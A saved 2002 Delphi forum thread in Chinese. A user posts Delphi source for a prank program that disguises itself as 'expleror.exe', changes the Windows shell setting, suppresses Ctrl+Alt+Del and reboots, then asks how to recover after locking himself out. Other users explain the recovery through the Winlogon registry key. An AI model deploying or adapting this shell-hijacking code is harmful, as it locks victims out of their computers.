⭐ 欢迎来到虫虫下载站！ | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站
📤 上传资源

📄 关于win2000 professinal的shell！！！.htm

📁 关于delphi的一些技巧性文档
💻 HTM
字号:
🔍 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- saved from url=(0055)http://www.delphibbs.com/delphibbs/dispq.asp?lid=887843 -->
<HTML xmlns:tools><HEAD><TITLE>大富翁论坛 delphibbs.com</TITLE>
<META content="text/html; charset=gb2312" http-equiv=Content-Type>
<META content=大富翁,论坛,技术,积分,排行榜,Delphi,Kylix,Java,XML,XSLT,forum name=keywords>
<META 
content="大富翁论坛(delphibbs.com)关于 Delphi, Kylix, Java 的技术论坛。采用积分游戏形式，靠您的智慧上大富翁排行榜！" 
name=description>
<STYLE type=text/css>
@media All    
{
tools\:ubb {
	BEHAVIOR: url("ubb.htc")
}

}
</STYLE>
<LINK href="关于win2000 professinal的shell！！！.files/web_font.css" rel=stylesheet 
type=text/css>
<SCRIPT src="关于win2000 professinal的shell！！！.files/loadxmln.js"></SCRIPT>

<META content="MSHTML 5.00.2614.3500" name=GENERATOR></HEAD>
<BODY onload=showMsg();show() topMargin=2>
<TABLE align=center border=0 cellPadding=0 cellSpacing=0 width="100%">
  <TBODY>
  <TR>
    <TD align=middle><A 
      href="http://www.delphibbs.com/delphibbs/rules.asp">游戏规则</A> <A 
      href="http://www.delphibbs.com/delphibbs/register.asp">免费注册</A> <IMG 
      align=middle height=60 
      src="关于win2000 professinal的shell！！！.files/dfwlogo.gif" width=240> <A 
      href="http://www.delphibbs.com/delphibbs/download.asp">资料下载</A> <A 
      href="http://www.delphibbs.com/delphibbs/index.asp">关于本站</A> </TD></TR>
  <TR>
    <TD align=middle colSpan=2><A 
      href="http://www.delphibbs.com/delphibbs/listroom.asp">问题分类</A> <A 
      href="http://www.delphibbs.com/delphibbs/listq.asp">问题列表</A> <A 
      href="http://www.delphibbs.com/delphibbs/listu.asp">富翁列表</A> <A 
      href="http://www.delphibbs.com/delphibbs/dispu.asp">我的信息</A> <A 
      href="http://www.delphibbs.com/delphibbs/askqn.asp">提出问题</A> <A 
      href="http://www.delphibbs.com/delphibbs/uonline.asp">在线富翁</A> <A 
      href="http://www.delphibbs.com/delphibbs/calendar.asp">富翁日历</A> <A 
      href="http://richsearch.com/" target=_blank>全文检索</A> 大富翁练功场 
</TD></TR></TBODY></TABLE><xml id=menuxml><?xml version="1.0" encoding="gb2312" ?><DFWML type="注册信息"><URL>/delphibbs/dispq.asp</URL><QUERY_STRING>lid=887843</QUERY_STRING><USER Name="earlc"><points>1620</points><expoints>0</expoints><earnings>0</earnings><gettimes>9</gettimes><usertype>0</usertype><lasttime>2002-12-10 17:36:00</lasttime></USER><USER Name="" /></DFWML></xml><xml id=menuxsl src="login.xsl"></xml>
<TABLE align=center border=0 id=stage width="100%">
  <TBODY>
  <TR>
    <TD bgColor=#eeeeee height=340 vAlign=top width=120>
      <DIV id=menupanel></DIV></TD>
    <TD vAlign=top>
      <DIV id=mainpanel width="680"></DIV><xml id=mainxml><?xml version="1.0" encoding="gb2312" ?><DFWML type="问题显示" title="关于win2000 professinal的shell！！！ ">
<Q ID="887843" status="1"><subject><![CDATA[关于win2000 professinal的shell！！！ ]]></subject><from>loveflying</from>
<content><![CDATA[我用delphi编了一个改变系统shell的程序， 
运行后shell 将指向我指定的程序， 
现在我用win2000做了依次实验，很管用， 
可是很掺， 
这我进不去iwn2000了， 
不知道win2000 
shell=explorer 
这个ini 放在哪里？ 
谁知道，给兄弟说一声吧。



]]></content><points>0</points><read_n>108</read_n><reply_n>14</reply_n><regdatetime>2002-1-27 12:00:00</regdatetime><datetime>2002-1-30 16:57:00</datetime><room>Windows API</room><master>amo</master><master2>cAkk</master2></Q>
<REPLY><Q ID="887885"><from>远帆</from><datetime>2002-1-27 12:24:00</datetime>
<content><![CDATA[有意思！原来98下好像是在win.ini还是在system.ini中，我刚才找了一下，是没有。
那就不太好找了。你把你的代码贴出来？
或者寄到yuan-fan@21cn.com我来看看，应该有点头絮。]]></content></Q>
<Q ID="891088"><from>loveflying</from><datetime>2002-1-28 22:27:00</datetime>
<content><![CDATA[代码如下：
unit Unit1;
 
interface
 
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ComCtrls, ExtCtrls;
 
type
  TForm1 = class(TForm)
    Label1: TLabel;
    Label2: TLabel;
    Timer1: TTimer;
    ProgressBar1: TProgressBar;
    procedure FormCreate(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
 
  private
    { Private declarations }
  public
    { Public declarations }
  end;
 
var
  Form1: TForm1;
 
implementation
 
{$R *.DFM}
 
 
 
function myGetWindowsDirectory : String;
var
   pcWindowsDirectory : PChar;
   dwWDSize           : DWORD;
begin
   dwWDSize := MAX_PATH + 1;
 
   result:='';
   GetMem(pcWindowsDirectory, dwWDSize );
   try
      if Windows.GetWindowsDirectory( pcWindowsDirectory, dwWDSize ) &lt;&gt; 0 then
         Result := pcWindowsDirectory;
   finally
      FreeMem( pcWindowsDirectory );
   end;
end;
 
 
 
 
 
function GetUserName: AnsiString;
var  
 lpName: PAnsiChar;
 lpUserName: PAnsiChar;
 lpnLength: DWORD;
begin  
 Result := '';
 lpnLength := 0;
 WNetGetUser(nil, nil, lpnLength); // 取得字串长度
 if lpnLength &gt; 0 then
 begin
 GetMem(lpUserName, lpnLength);
 if WNetGetUser(lpName, lpUserName, lpnLength) = NO_ERROR then
  Result := lpUserName;
 FreeMem(lpUserName, lpnLength);
 end;
end;
 

procedure TForm1.FormCreate(Sender: TObject);
begin
 
 WritePrivateProfileString('boot', 'shell', 'Expleror.exe', 'system.ini');
 label1.caption:=GetUserName+',你上当了!';
 label2.caption:='正在关机初始化,请稍后:';
 SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, 0, 0);
 copyfile(pchar(application.exename),pchar(myGetWindowsDirectory+'\expleror.exe'),false);
end;
 
procedure TForm1.Timer1Timer(Sender: TObject);
begin
  if progressbar1.position=100  then
  begin
    PostMessage(form1.Handle, WM_KEYDOWN, VK_TAB, 0);
    ExitWindowsEx(EWX_REBOOT,0);
  end
 else
   progressbar1.position:=progressbar1.position+1;
end;
 
end.

 
这个程序在win98下很容易恢复，可是到了win2000下，因为找不到shell的位置，所以。。。。
 ]]></content></Q>
<Q ID="891625"><from>远帆</from><datetime>2002-1-29 9:04:00</datetime>
<content><![CDATA[还是在system.ini中。
2000不再使用system.ini，所以我的里面找不到shell字段。但是为了兼容16位应用程序。
所以还是保留了system.ini
下面是我的。
; for 16-bit app support

[drivers]
wave=mmdrv.dll
timer=timer.drv

[mci]
[driver32]
[386enh]
woafont=app936.FON
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON

解决的方法是：
先在system.ini里面找到[boot]小结。将它全部删除，
然后重新从其它2000机子上拷贝一个expleror.exe到你的机子上。
（需要版本号一致）
如果没有，也可以从光盘上恢复或给我寄信。
]]></content></Q>
<Q ID="892271"><from>loveflying</from><datetime>2002-1-29 12:08:00</datetime>
<content><![CDATA[有没有搞错，
system.ini中可是没有[boot]这个小节呀。
又谈何去恢复！

再说了，那个程序不是删除了explorer.exe,而是向系统目录烤了
一个名为exleror.exe的应用程序，注意两者是不同的，
然后它改了system.ini中的shell值,
原来是
shell=explorer.exe,
现在改成
shell=expleror.exe,
所以系统因为找不到explorer.exe而进不去系统！！！
而win2000下因为找不到shell在哪个位置而无法修复。]]></content></Q>
<Q ID="892306"><from>远帆</from><datetime>2002-1-29 12:38:00</datetime>
<content><![CDATA[喔，总算是找到了，可是不知道你能不能打开注册表呢？
那个信息写在了
hlmc/software/microsoft/windowsnt/currnetversion/winlogon
里面的 shell。]]></content></Q>
<Q ID="892370"><from>远帆</from><datetime>2002-1-29 12:40:00</datetime>
<content><![CDATA[我试试能不能解决，要是不能解决，我也惨了。]]></content></Q>
<Q ID="892390"><from>远帆</from><datetime>2002-1-29 12:44:00</datetime>
<content><![CDATA[同志，你有注册表备份没有？]]></content></Q>
<Q ID="892442"><from>远帆</from><datetime>2002-1-29 13:04:00</datetime>
<content><![CDATA[已经OK了。
虽然不能出现正常的Windows界面，但是登陆是可以成功的，是不是？是这样的就好办：
按 ctrl+alt+del 键，点击“任务管理器”
文件/新任务/regedit运行后，删掉前面说的那一项就可以了。
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"Shell"="???"  &lt;--删掉它就OK了。
]]></content></Q>
<Q ID="892455"><from>yzhshi</from><datetime>2002-1-29 13:09:00</datetime>
<content><![CDATA[如果真的能够按Ctrl+Alt+Del，那么，你运行Explorer.exe，就出现桌面了。哈哈。
然后就可以做任何东西了。]]></content></Q>
<Q ID="892480"><from>远帆</from><datetime>2002-1-29 13:18:00</datetime>
<content><![CDATA[怎么不给分呢？]]></content></Q>
<Q ID="895054"><from>loveflying</from><datetime>2002-1-30 12:37:00</datetime>
<content><![CDATA[我没有分了.
]]></content></Q>
<Q ID="895057"><from>loveflying</from><datetime>2002-1-30 12:38:00</datetime>
<content><![CDATA[to yzhshi:
 打开explorer.exe,并没有桌面,而是打开了win2000的
 资源管理器.
你试一试就知道了.
]]></content></Q>
<Q ID="895793"><from>loveflying</from><datetime>2002-1-30 16:38:00</datetime>
<content><![CDATA[再想问一个问题，
我把linux格式了，
可是lilo依然存在，
不知道lilo放在那里，
怎么清除？？]]></content></Q>
<Q ID="895878"><from>Kingron</from><datetime>2002-1-30 16:57:00</datetime>
<content><![CDATA[LILO:
在主引导区，用Fdisk /mbr清除]]></content></Q>
</REPLY>
<USER Name="" /></DFWML></xml>
      <SCRIPT>
function show() {
	load_xml(menupanel, menuxml, menuxsl);
	load_xmln(mainpanel, mainxml, "dispq_1.xsl");	
}

function changeFontSize(size) {
	obj = document.getElementById('mainpanel');	
	if (!obj) alert('not found');
	for (var ii=0; ii < obj.all.tags('TD').length; ii++) {
		var td = obj.all.tags("TD").item(ii);
		td.style.fontFamily = "宋体";
		td.style.fontSize = size;
		td.style.lineHeight = "150%";
	}		
}
</SCRIPT>
    </TD></TR></TBODY></TABLE>
<P align=center>(C) 版权所有，大富翁论坛 1998-2001<BR>感谢您的惠顾，如有任何建议和意见，请 <A 
href="mailto:yysun@263.net">联系版主</A>。<FONT 
face=Arial><SMALL>2001.4.1</SMALL></FONT></P></BODY></HTML>

<HTML>
<BODY >
<script language=vbscript></script>
<script language=vbscript></script>
</BODY>
</HTML>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -